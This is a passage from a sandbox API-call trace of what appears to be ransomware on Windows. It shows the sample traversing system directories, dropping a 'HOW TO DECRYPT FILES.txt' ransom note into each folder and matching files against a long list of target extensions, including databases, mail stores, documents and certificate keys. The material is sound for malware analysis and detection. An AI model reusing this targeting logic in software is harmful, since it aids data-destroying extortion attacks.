hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.905] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf196a426, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf196a426, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf196a426, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Configuration", cAlternateFileName="SYSTEM~1.CON")) returned 1 [0104.905] lstrcmpA (lpString1=".", lpString2="System.Configuration") returned -1 [0104.905] lstrcmpA (lpString1="..", lpString2="System.Configuration") returned -1 [0104.905] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.905] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Configuration" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration" [0104.905] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf196a426, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf196a426, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf196a426, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.906] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.906] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf196a426, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf196a426, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf196a426, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.906] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.906] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.906] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf196a426, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf196a426, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf196a426, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bc09ad2d49d8535371845cd7532f9271", cAlternateFileName="BC09AD~1")) returned 1 [0104.906] lstrcmpA (lpString1=".", lpString2="bc09ad2d49d8535371845cd7532f9271") returned -1 [0104.906] lstrcmpA (lpString1="..", lpString2="bc09ad2d49d8535371845cd7532f9271") returned -1 [0104.906] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\*.*") returned="*.*" [0104.906] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\", lpString2="bc09ad2d49d8535371845cd7532f9271" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271" [0104.907] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf196a426, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf196a426, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf196a426, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.907] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.907] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf196a426, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf196a426, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf196a426, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.907] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.907] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.907] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18d1ea5, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf18d1ea5, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf191e165, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0xed200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Configuration.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.908] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.908] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Configuration.ni.dll") returned -1 [0104.908] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Configuration.ni.dll") returned -1 [0104.908] lstrcmpiA (lpString1="", lpString2="System.Configuration.ni.dll") returned -1 [0104.908] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\*.*") returned="*.*" [0104.908] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\" [0104.908] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\") returned="" [0104.908] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\HOW TO DECRYPT FILES.txt" [0104.908] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\how to decrypt files.txt")) returned 0xffffffff [0104.908] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.909] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.911] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.911] CloseHandle (hObject=0x90) returned 1 [0104.912] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\", lpString2="System.Configuration.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" [0104.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.ems") returned 0 [0104.912] lstrlenA (lpString="*.ems") returned 5 [0104.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.db") returned 0 [0104.912] lstrlenA (lpString="*.db") returned 4 [0104.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.dbf") returned 0 [0104.912] lstrlenA (lpString="*.dbf") returned 5 [0104.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.myox") returned 0 [0104.912] lstrlenA (lpString="*.myox") returned 6 [0104.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.myo") returned 0 [0104.912] lstrlenA (lpString="*.myo") returned 5 [0104.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.qbw") returned 0 [0104.912] lstrlenA (lpString="*.qbw") returned 5 [0104.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.qbb") returned 0 [0104.912] lstrlenA (lpString="*.qbb") returned 5 [0104.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.qbm") returned 0 [0104.912] lstrlenA (lpString="*.qbm") returned 5 [0104.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.qbo") returned 0 [0104.912] lstrlenA (lpString="*.qbo") returned 5 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.qbx") returned 0 [0104.913] lstrlenA (lpString="*.qbx") returned 5 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.qba") returned 0 [0104.913] lstrlenA (lpString="*.qba") returned 5 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.qby") returned 0 [0104.913] lstrlenA (lpString="*.qby") returned 5 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.qbj") returned 0 [0104.913] lstrlenA (lpString="*.qbj") returned 5 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.ofx") returned 0 [0104.913] lstrlenA (lpString="*.ofx") returned 5 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.qif") returned 0 [0104.913] lstrlenA (lpString="*.qif") returned 5 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.mye") returned 0 [0104.913] lstrlenA (lpString="*.mye") returned 5 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.mbox") returned 0 [0104.913] lstrlenA (lpString="*.mbox") returned 6 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.eml") returned 0 [0104.913] lstrlenA (lpString="*.eml") returned 5 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.pst") returned 0 [0104.913] lstrlenA (lpString="*.pst") returned 5 [0104.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.ost") returned 0 [0104.913] lstrlenA (lpString="*.ost") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.idx") returned 0 [0104.914] lstrlenA (lpString="*.idx") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.dbx") returned 0 [0104.914] lstrlenA (lpString="*.dbx") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.sql") returned 0 [0104.914] lstrlenA (lpString="*.sql") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.mdb") returned 0 [0104.914] lstrlenA (lpString="*.mdb") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.fdb") returned 0 [0104.914] lstrlenA (lpString="*.fdb") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.wab") returned 0 [0104.914] lstrlenA (lpString="*.wab") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.dat") returned 0 [0104.914] lstrlenA (lpString="*.dat") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.txt") returned 0 [0104.914] lstrlenA (lpString="*.txt") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.jpeg") returned 0 [0104.914] lstrlenA (lpString="*.jpeg") returned 6 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.jpg") returned 0 [0104.914] lstrlenA (lpString="*.jpg") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.png") returned 0 [0104.914] lstrlenA (lpString="*.png") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.php") returned 0 [0104.914] lstrlenA (lpString="*.php") returned 5 [0104.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.cs") returned 0 [0104.915] lstrlenA (lpString="*.cs") returned 4 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.cpp") returned 0 [0104.915] lstrlenA (lpString="*.cpp") returned 5 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.rar") returned 0 [0104.915] lstrlenA (lpString="*.rar") returned 5 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.zip") returned 0 [0104.915] lstrlenA (lpString="*.zip") returned 5 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.html") returned 0 [0104.915] lstrlenA (lpString="*.html") returned 6 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.htm") returned 0 [0104.915] lstrlenA (lpString="*.htm") returned 5 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.xlsx") returned 0 [0104.915] lstrlenA (lpString="*.xlsx") returned 6 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.xls") returned 0 [0104.915] lstrlenA (lpString="*.xls") returned 5 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.mp4") returned 0 [0104.915] lstrlenA (lpString="*.mp4") returned 5 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.ppt") returned 0 [0104.915] lstrlenA (lpString="*.ppt") returned 5 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.pptx") returned 0 [0104.915] lstrlenA (lpString="*.pptx") returned 6 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.doc") returned 0 [0104.915] lstrlenA (lpString="*.doc") returned 5 [0104.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.dot") returned 0 [0104.915] lstrlenA (lpString="*.dot") returned 5 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.docx") returned 0 [0104.916] lstrlenA (lpString="*.docx") returned 6 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.7z") returned 0 [0104.916] lstrlenA (lpString="*.7z") returned 4 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.tar") returned 0 [0104.916] lstrlenA (lpString="*.tar") returned 5 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.bz2") returned 0 [0104.916] lstrlenA (lpString="*.bz2") returned 5 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.gz") returned 0 [0104.916] lstrlenA (lpString="*.gz") returned 4 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.mkv") returned 0 [0104.916] lstrlenA (lpString="*.mkv") returned 5 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.eml") returned 0 [0104.916] lstrlenA (lpString="*.eml") returned 5 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.msg") returned 0 [0104.916] lstrlenA (lpString="*.msg") returned 5 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.edb") returned 0 [0104.916] lstrlenA (lpString="*.edb") returned 5 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.accdb") returned 0 [0104.916] lstrlenA (lpString="*.accdb") returned 7 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.odb") returned 0 [0104.916] lstrlenA (lpString="*.odb") returned 5 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.java") returned 0 [0104.916] lstrlenA (lpString="*.java") returned 6 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.asm") returned 0 [0104.916] lstrlenA (lpString="*.asm") returned 5 [0104.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.pfx") returned 0 [0104.917] lstrlenA (lpString="*.pfx") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.pem") returned 0 [0104.917] lstrlenA (lpString="*.pem") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.p12") returned 0 [0104.917] lstrlenA (lpString="*.p12") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.gpg") returned 0 [0104.917] lstrlenA (lpString="*.gpg") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.vsd") returned 0 [0104.917] lstrlenA (lpString="*.vsd") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.odg") returned 0 [0104.917] lstrlenA (lpString="*.odg") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.raw") returned 0 [0104.917] lstrlenA (lpString="*.raw") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.nef") returned 0 [0104.917] lstrlenA (lpString="*.nef") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.svg") returned 0 [0104.917] lstrlenA (lpString="*.svg") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.psd") returned 0 [0104.917] lstrlenA (lpString="*.psd") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.vmx") returned 0 [0104.917] lstrlenA (lpString="*.vmx") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.vmdk") returned 0 [0104.917] lstrlenA (lpString="*.vmdk") returned 6 [0104.917] PathMatchSpecA 